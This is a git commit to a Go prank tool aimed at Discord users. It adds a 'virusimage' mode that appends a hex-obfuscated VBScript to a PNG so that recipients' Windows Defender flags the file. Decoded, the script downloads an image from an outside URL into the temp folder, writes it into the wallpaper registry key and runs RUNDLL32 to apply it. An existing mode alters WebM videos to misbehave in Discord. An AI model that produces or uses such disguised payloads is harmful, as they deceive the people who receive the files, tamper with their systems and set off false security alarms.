Virus Image

Implemented the Virus Image Mode
This commit is contained in:
Schmenn 2021-01-08 21:20:04 +01:00
parent f24860842d
commit 5bec53b145
4 changed files with 37 additions and 5 deletions

2
.gitignore vendored
View file

@ -16,3 +16,5 @@
# Dependency directories (remove the comment below to include it) # Dependency directories (remove the comment below to include it)
# vendor/ # vendor/
*.png

View file

@ -22,7 +22,7 @@ func main() {
//exploits.RunExpandingVideoTask() //exploits.RunExpandingVideoTask()
} }
fmt.Println(inputFile) fmt.Print("\n", inputFile, "\n")
fmt.Println(mode) fmt.Println(mode)
initCommand(inputFile, mode) initCommand(inputFile, mode)
@ -84,14 +84,15 @@ func help() {
fmt.Println("") fmt.Println("")
fmt.Println("-q doesn't show welcome screen") fmt.Println("-q doesn't show welcome screen")
fmt.Println("-i <file> provide input file") fmt.Println("-i <file> provide input file")
fmt.Println("-m <mode> provide a mode") fmt.Println("-m <mode> specify mode")
fmt.Println("") fmt.Println("")
fmt.Println("modes:") fmt.Println("modes:")
fmt.Println(" expandingvideo takes input video (.webm) and edits it so discord will keep making it longer") fmt.Println(" expandingvideo takes input video (.webm) and edits it so discord will keep making it longer")
fmt.Println(" virusimage takes an image (.png) and makes other users' windows defender think it's a virus (not yet implemented)") fmt.Println(" virusimage takes an image (.png) and makes other users' windows defender think it's a virus")
} }
func initCommand(inputFile string, mode string) { func initCommand(inputFile string, mode string) {
inputFile = strings.ToLower(inputFile)
switch strings.ToLower(mode) { switch strings.ToLower(mode) {
case "expandingvideo": case "expandingvideo":
if strings.HasSuffix(inputFile, ".webm") { if strings.HasSuffix(inputFile, ".webm") {
@ -101,5 +102,13 @@ func initCommand(inputFile string, mode string) {
} else { } else {
fmt.Println("File is not a webm, check -h") fmt.Println("File is not a webm, check -h")
} }
case "virusimage":
if strings.HasSuffix(inputFile, ".png") {
fmt.Println("editing photo.")
exploits.RunVirusImageTask(inputFile)
fmt.Println("completed task.")
} else {
fmt.Println("File is not a png, check -h")
}
} }
} }

View file

@ -6,13 +6,14 @@ import (
"io/ioutil" "io/ioutil"
"os" "os"
"math/rand" "math/rand"
"time"
) )
// RunExpandingVideoTask edits file // RunExpandingVideoTask edits file
func RunExpandingVideoTask(fileName string) { func RunExpandingVideoTask(fileName string) {
data, err := ioutil.ReadFile(fileName) data, err := ioutil.ReadFile(fileName)
check(err) Check(err)
index := bytes.Index(data, []byte("\x44\x89\x88")) index := bytes.Index(data, []byte("\x44\x89\x88"))
if index == -1{ if index == -1{
fmt.Println("could not find the part of the file that needs to be modified, exiting") fmt.Println("could not find the part of the file that needs to be modified, exiting")
@ -40,13 +41,15 @@ func RunExpandingVideoTask(fileName string) {
func CreateName(extension string) string { func CreateName(extension string) string {
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, 6) b := make([]byte, 6)
rand.Seed(time.Now().Unix())
for i := range b { for i := range b {
b[i] = charset[rand.Intn(len(charset))] b[i] = charset[rand.Intn(len(charset))]
} }
return string(b)+"."+extension return string(b)+"."+extension
} }
func check(e error) { // Check Error Handling
func Check(e error) {
if e != nil { if e != nil {
panic(e) panic(e)
} }

18
exploits/virus-image.go Normal file
View file

@ -0,0 +1,18 @@
package exploits
import (
"fmt"
"io/ioutil"
"os"
)
// RunVirusImageTask edits file
func RunVirusImageTask(fileName string) {
data, err := ioutil.ReadFile(fileName)
Check(err)
data = append(data, []byte("\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x20\x3D\x20\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x28\x22\x57\x53\x63\x72\x69\x70\x74\x2E\x53\x68\x65\x6C\x6C\x22\x29\x0D\x0A\x53\x65\x74\x20\x6F\x62\x6A\x45\x6E\x76\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x28\x22\x55\x73\x65\x72\x22\x29\x0D\x0A\x20\x0D\x0A\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x3D\x20\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x45\x78\x70\x61\x6E\x64\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x74\x72\x69\x6E\x67\x73\x28\x22\x25\x74\x65\x6D\x70\x25\x22\x29\x0D\x0A\x20\x0D\x0A\x64\x69\x6D\x20\x78\x48\x74\x74\x70\x3A\x20\x53\x65\x74\x20\x78\x48\x74\x74\x70\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50\x22\x29\x0D\x0A\x64\x69\x6D\x20\x62\x53\x74\x72\x6D\x3A\x20\x53\x65\x74\x20\x62\x53\x74\x72\x6D\x20\x3D\x20\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x41\x64\x6F\x64\x62\x2E\x53\x74\x72\x65\x61\x6D\x22\x29\x0D\x0A\x78\x48\x74\x74\x70\x2E\x4F\x70\x65\x6E\x20\x22\x47\x45\x54\x22\x2C\x20\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x2E\x64\x69\x73\x63\x6F\x72\x64\x61\x70\x70\x2E\x63\x6F\x6D\x2F\x65\x6D\x6F\x6A\x69\x73\x2F\x36\x38\x31\x35\x37\x37\x36\x32\x35\x33\x39\x34\x38\x37\x32\x33\x37\x30\x2E\x70\x6E\x67\x3F\x76\x3D\x31\x22\x2C\x20\x46\x61\x6C\x73\x65\x0D\x0A\x78\x48\x74\x74\x70\x2E\x53\x65\x6E\x64\x0D\x0A\x20\x0D\x0A\x77\x69\x74\x68\x20\x62\x53\x74\x72\x6D\x0D\x0A\x20\x20\x20\x20\x2E\x74\x79\x70\x65\x20\x3D\x20\x31\x20\x27\x2F\x2F\x62\x69\x6E\x61\x72\x79\x0D\x0A\x20\x20\x20\x20\x2E\x6F\x70\x65\x6E\x0D\x0A\x20\x20\x20\x20\x2E\x77\x72\x69\x74\x65\x20\x78\x48\x74\x74\x70\x2E\x72\x65\x73\x70\x6F\x6E\x73\x65\x42\x6F\x64\x79\x0D\x0A\x20\x20\x20\x20\x2E\x73\x61\x76\x65\x74\x6F\x66\x69\x6C\x65\x20\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x2C\x20\x32\x20\x27\x2F\x2F\x6F\x76\x65\x72\x77\x72\x69\x74\x65\x0D\x0A\x65\x6E\x64\x20\x77\x69\x74\x68\x0D\x0A\x20\x0D\x0A\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x52\x65\x67\x57\x72\x69\x74\x65\x20\x22\x48\x4B\x43\x55\x5C\x43\x6F\x6E\x74\x72\x6F\x6C\x20\x50\x61\x6E\x65\x6C\x5C\x44\x65\x73\x6B\x74\x6F\x70\x5C\x57\x61\x6C\x6C\x70\x61\x70\x65\x72\x22\x2C\x20\x73\x74\x72\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x20\x2B\x20\x22\x5C\x6D\x79\x49\x6D\x61\x67\x65\x2E\x70\x6E\x67\x22\x0D\x0A\x6F\x62\x6A\x53\x68\x65\x6C\x6C\x2E\x52\x75\x6E\x20\x22\x25\x77\x69\x6E\x64\x69\x72\x25\x5C\x53\x79\x73\x74\x65\x6D\x33\x32\x5C\x52\x55\x4E\x44\x4C\x4C\x33\x32\x2E\x45\x58\x45\x20\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x2C\x55\x70\x64\x61\x74\x65\x50\x65\x72\x55\x73\x65\x72\x53\x79\x73\x74\x65\x6D\x50\x61\x72\x61\x6D\x65\x74\x65\x72\x73\x22\x2C\x20\x31\x2C\x20\x54\x72\x75\x65")...)
name := CreateName("png")
fmt.Println(name)
ioutil.WriteFile(name, data, os.FileMode(int(0777)))
}